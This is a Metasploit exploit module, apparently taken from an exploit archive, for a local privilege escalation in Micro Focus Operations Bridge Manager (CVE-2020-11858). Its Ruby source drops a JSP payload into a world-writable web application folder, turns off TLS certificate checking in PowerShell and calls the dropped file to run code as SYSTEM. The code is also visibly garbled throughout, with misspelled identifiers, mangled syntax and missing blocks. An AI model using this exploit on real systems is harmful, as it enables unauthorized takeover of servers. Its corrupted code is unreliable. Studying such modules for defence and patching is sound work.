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## Micro Focus Operations Bridge Manager Local Privilege Escalation

This Metasploit module exploits an insecure permission vulnerability on a folder in Micro Focus Operations Bridge Manager. An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and then access it without authentication by making a request to the OBM server. This will result in automatic code execution as SYSTEM. This module has been tested on OBM 2020.05, but it should work out of the box on earlier versions too.

es | CVE-2020-11858

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  # This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
   class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
      include Msf::Post::File
include Msf::Post::Windows::Powershell
include Msf::Exploit::EXE
      This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge
                               MANAGER.

An unprivileged user (such as Guest) can drop a JSP file in an exploded MAR directory and then access it without authentication by making a request to the OBM server. This will result in automatic code execution as SYSTEM. This smoult has been tested on OBM 2020.05, but it should work out of the box on earlier versions too.
                        },
'License' => MSF_LICENSE,
'Author' =>
                                 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
                         ],
'Platform' => 'win',
'Privileged' => true,
'SessionTypes' -> ['meterpreter'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
                                           'Micro Focus Operations Bridge Manager <= 2020.05',
                                                  'Path' => 'C:\HPBSM\AppServer\webapps\site.war\LB_Verify.jsp'
                                    [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'], [ 'CUE', '2020-11858'], [ '2DI', '20-2136'],
                         'DisclosureDate' => '2020-10-28',
'DefaultTarget' => 0
            register_options([
    Opt::RPORT(443),
    OptString.new('TARGETURI', [true, 'Base path', '/']),
    OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
          er exploit
unless session.type == 'meterpreter'
fail with(Failure::None, 'Only meterpreter sessions are supported')
end
           # according to /lib/msf/core/post/file.rb this is not binary safe on Windows, but we don't care, it's JSP
payload_isp = Msf::Util::EXE.to jsp(generate_payload_exe)
write_file(target['Path'], payload_jsp)
write_file(target("path"), payload_jsp)
if datastore("SSL")
prefix = "https:/"

# Tode below allows us to perform TLS requests to servers with self signed certs
# In weersheld 5.1, we can simply use -5kipCertificateCheck, but in older versions we need this
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# Output of the part of the part
   "@
SAIlProtocols = [System.Net.SecurityProtocolType]'Ss13,Tls,Tls11,Tls12'
(System.Net.ServicePointManager]::SecurityProtocol = $A1lProtocols
(System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
            uri = "#[prefix]127.0.0.1:#[datastore['RRORT']]#{datastore['TARGETURI']}topar/LB_Verify.jsp"
print_status("JDP dropped, calling it 8 #[uri]")
ps_cmd += "Invoke-WelkRequest -Uri #[uri]"
execute_script(bs_cmd)
```

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